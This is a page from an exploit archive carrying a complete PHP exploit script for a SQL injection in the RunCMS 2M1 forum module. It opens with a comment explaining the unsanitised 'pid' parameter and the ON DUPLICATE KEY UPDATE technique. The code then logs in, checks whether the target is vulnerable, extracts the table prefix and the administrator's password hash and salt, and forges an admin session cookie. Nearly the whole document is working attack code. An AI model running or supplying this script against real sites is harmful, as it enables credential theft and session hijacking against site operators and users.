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RunCMS 2m1 store() SQL injection
[================================
RunCMS 2m1 store() SQL injection
================================
<?php
/*
RunCms v.2M1 store() - 'pid' remote SQL Injection Exploit
by Nine:Situations:Group::bookoo
site: http://retrogod.altervista.org/
software site: http://www.runcms.org/
Function store() in /modules/forum/class/class.forumposts.php is vulnerable, see lines 412-433:
...
$sql = "
INSERT INTO ".$bbTable['posts']." SET
post_id=".$this->post_id.",
pid=".$this->pid.",
topic_id=".$this->topic_id.",
forum_id=".$this->forum_id.",
post_time=$datetime,
uid=".$this->uid.",
poster_ip='".$this->poster_ip."',
subject='".$subject."',
post_text='".$post_text."',
allow_html=".intval($this->allow_html).",
allow_smileys=".intval($this->allow_smileys).",
allow_bbcode=".intval($this->allow_bbcode).",
type='".$this->type."',
icon='".$this->icon."',
has_attachment=".intval($this->has_attachment).",
is_approved=".intval($this->is_approved).",
anon_uname='".$this->anon_uname."',
attachsig=".$this->attachsig."";
if ( !$result = $db->query($sql) ) {
...
this function is called by /modules/forum/post.php near lines 153-158:
...
$postid = $forumpost->store();
if ($isreply == 1) {
$sql = "SELECT t.topic_notify, u.email, u.uname, u.uid FROM ".$bbTable['topics']." t, ".$db->prefix("users")." u WHERE t.topic_id = ".$_POST['topic_id']." AND t.topic_poster = u.uid";
...
see? The next query is also vulnerable in $_POST['topic_id'] argument... but I choose
the store() one because is an INSERT.
$this->pid is set in /modules/forum/post.php at lines 94-96:
...
if (isset($_POST['pid']) && $_POST['pid'] != "") {
$forumpost->setParent($_POST['pid']);
}
...
No prior sanitization!
You can use a sub-SELECT to save the admin hash and salt in forum posts.
Even if posts are in moderation, the subject field is visible in user profiles.
You cannot break the query by '--' or '/*' but you can use the
'ON DUPLICATE KEY UPDATE' clause to build a working one.
This whole thing works regardless of magic_quotes_gpc and with MySQL >= 4.1.
You need a valid user account (register!) and the permission to post in a certain forum.
Once you obtained the admin hash and salt you can hijack an active session
and execute arbitrary code, see: http://retrogod.altervista.org/9sg_runcms_forum_sql.html
*/
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
function my_header() {
print ("\x52\x75\x6e\x43\x6d\x73\x20\x76\x2e\x32\x4d\x31\x20\x73\x74\x6f\x72\x65\x28\x29\x20\x2d\x20\x27\x70\x69\x64\x27\x20\x72\x65\x6d\x6f\x74\x65\x20\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x45\x78\x70\x6c\x6f\x69\x74\x20\xd\xa\x20\x20\x20\x20\x62\x79\x20\x4e\x69\x6e\x65\x3a\x53\x69\x74\x75\x61\x74\x69\x6f\x6e\x73\x3a\x47\x72\x6f\x75\x70\x3a\x3a\x62\x6f\x6f\x6b\x6f\x6f\xd\xa\x20\x20\x20\x20\x73\x69\x74\x65\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x74\x72\x6f\x67\x6f\x64\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\xd\xa");
}
my_header();
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}
function syntax() {
print (
"Syntax: php ".$argv[0]." [host] [path] [user] [pass] [forum] [OPTIONS] \n". "Options: \n". "--port:[port] - specify a port \n". " default->80 \n". "--prefix - try to extract table prefix from information.schema \n". " default->runcms \n". "--proxy:[host:port] - use proxy \n". "--skiptest - skip preliminary tests \n". "--test - run only tests \n". "Examples: php ".$argv[0]." 192.168.0.1 /runcms/ bookoo pass 1 \n". " php ".$argv[0]." 192.168.0.1 / bookoo pass 1 --prefix --proxy:1.1.1.1:8080 \n");
die();
}
error_reporting(E_ALL ^ E_NOTICE);
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pass = $argv[4];
$_forum = (int)$argv[5];
$prefix = "runcms";
$argv[5] ? print("[*] Attacking...\n") :
syntax();
$_f_prefix = false;
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_test = false;
for ($i = 3; $i < $argc; $i++) {
if (stristr($argv[$i], "--prefix")) {
$_f_prefix = true;
}
if (stristr($argv[$i], "--proxy:")) {
$_use_proxy = true;
$tmp = explode(":", $argv[$i]);
$proxy_host = $tmp[1];
$proxy_port = (int)$tmp[2];
}
if (stristr($argv[$i], "--port:")) {
$tmp = explode(":", $argv[$i]);
$port = (int)$tmp[1];
}
if (stristr($argv[$i], "--skiptest")) {
$_skiptest = true;
}
if (stristr($argv[$i], "--test")) {
$_test = true;
}
}
function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
}
curl_setopt($ch, CURLOPT_HEADER, 1);
$cookies = array("Cookie: ".$ck);
curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
function find_prefix() {
global $host, $port, $path, $ck, $_forum, $my_uid;
$url = "http://$host:$port".$path."modules/forum/post.php";
$_tn = "TABLE_NAME";
$_ift = "information_schema.TABLES";
$_sql = "1,
topic_id=1,
forum_id=1,
post_time=9999999999,
uid=$my_uid,
poster_ip=0x3132372e302e302e31,
subject=(SELECT CONCAT(0x5b6d5d,$_tn,0x5b2f6d5d) FROM $_ift WHERE $_tn LIKE 0x255f666f72756d5f666f72756d5f67726f75705f616363657373 LIMIT 1 ),
post_text=0x68616c6f,
allow_html=1,
allow_smileys=1,
allow_bbcode=1,
type=0x75736572,
icon=0x61616161,
has_attachment=0,
is_approved=1,
anon_uname=0x61616161,
attachsig=0 ON DUPLICATE KEY UPDATE topic_id=1";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_forum&topic_id=1&pid=".$_sql."&");
$url = "http://$host:$port".$path."userinfo.php?uid=$my_uid";
$out = _s($url, 0, $ck, "");
$tmp = explode("[m]", $out);
$tmp = explode("[/m]", $tmp[1]);
$prefix = str_replace("_forum_forum_group_access", "", $tmp[0]);
echo "[*] Table prefix->".$prefix."\n";
return $prefix;
}
function chk_login($s) {
if (stripos ($s, "\x54\x68\x61\x6e\x6b\x20\x79\x6f\x75\x20\x66\x6f\x72\x20\x6c\x6f\x67\x67\x69\x6e\x67\x20\x69\x6e")) {
return true;
} else {
return false;
}
}
function chk_err($s) {
if (stripos ($s, "Error No</b>: 0022")) {
return true;
} else {
return false;
}
}
function chk_err_ii($s) {
if (stripos ($s, "t have the right to post in this forum")) {
return true;
} else {
return false;
}
}
$url = "http://$host:$port".$path."user.php";
$out = _s($url, 1, "", "uname=$_user&pass=$_pass&op=login&");
if (chk_login($out)) {
print("[*] Logged in!\n");
} else {
die("[!] Not logged in.");
}
$tmp = explode("Set-Cookie: ", $out);
$ck = "";
for ($i = 1; $i < count($tmp); $i++) {
$ttmp = explode(" ", $tmp[$i]);
$ck .= " ".$ttmp[0];
}
# echo "[*] Your cookie->".$ck."\n";
$tmp = explode("=", $ck);
$tmp = str_replace(";", "", $tmp[1]);
$tmp = unserialize(urldecode($tmp));
$my_uid = (int)$tmp[0];
# echo "[*] Your uid->".$my_uid."\n";
if (!$_skiptest) {
$url = "http://$host:$port".$path."modules/forum/post.php";
$out = _s($url, 1, $ck, "message=1&forum=$_forum&topic_id=1&pid=%3D+%28%29%2C&");
if (!chk_err_ii($out)) {
print("[*] Ok. You can post in this forum\n");
} else {
die("[!] You don't have the right to post in this forum.");
}
if (chk_err($out)) {
print("[*] Vulnerable!\n");
} else {
die("[!] Not vulnerable.");
}
}
if ($_test) {
die;
}
if ($_f_prefix == true) {
$prefix = find_prefix();
}
$url = "http://$host:$port".$path."modules/forum/post.php";
$_sql = "1,
topic_id=1,
forum_id=1,
post_time=9999999999,
uid=$my_uid,
poster_ip=0x3132372e302e302e31,
subject=(SELECT CONCAT(0x5b6d335d,uid,0x5b2f6d335d) FROM ".$prefix."_users WHERE level=5 LIMIT 1),
post_text=0x68616c6f,
allow_html=1,
allow_smileys=1,
allow_bbcode=1,
type=0x75736572,
icon=0x61616161,
has_attachment=0,
is_approved=1,
anon_uname=0x61616161,
attachsig=0 ON DUPLICATE KEY UPDATE topic_id=1";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_forum&topic_id=1&pid=".$_sql."&");
$url = "http://$host:$port".$path."userinfo.php?uid=$my_uid";
$out = _s($url, 0, $ck, "");
$tmp = explode("[m3]", $out);
$tmp = explode("[/m3]", $tmp[1]);
$uid = (int)$tmp[0];
echo "[*] Admin uid->".$uid."\n";
$url = "http://$host:$port".$path."modules/forum/post.php";
$_sql = "1,
topic_id=1,
forum_id=1,
post_time=9999999999,
uid=$uid,
poster_ip=0x3132372e302e302e31,
subject=(SELECT CONCAT(0x5b6d325d,pass,0x3a,pwdsalt,0x5b2f6d325d) FROM ".$prefix."_users WHERE uid=$uid LIMIT 1),
post_text=0x68616c6f,
allow_html=1,
allow_smileys=1,
allow_bbcode=1,
type=0x75736572,
icon=0x61616161,
has_attachment=0,
is_approved=1,
anon_uname=0x61616161,
attachsig=0 ON DUPLICATE KEY UPDATE topic_id=1";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_forum&topic_id=1&pid=".$_sql."&");
$url = "http://$host:$port".$path."userinfo.php?uid=$uid";
$out = _s($url, 0, $ck, "");
$tmp = explode("[m2]", $out);
$tmp = explode("[/m2]", $tmp[1]);
$hash = $tmp[0];
echo "[*] Hash:Salt->".$hash."\n";
$tmp = explode(":", $hash);
print("[*] Admin cookie: rc2_sess=". urlencode(serialize(array($_uid, sha1($tmp[0].$tmp[1]), time()+ 2678400))).";");
?>
# 0day.today [2024-11-15] #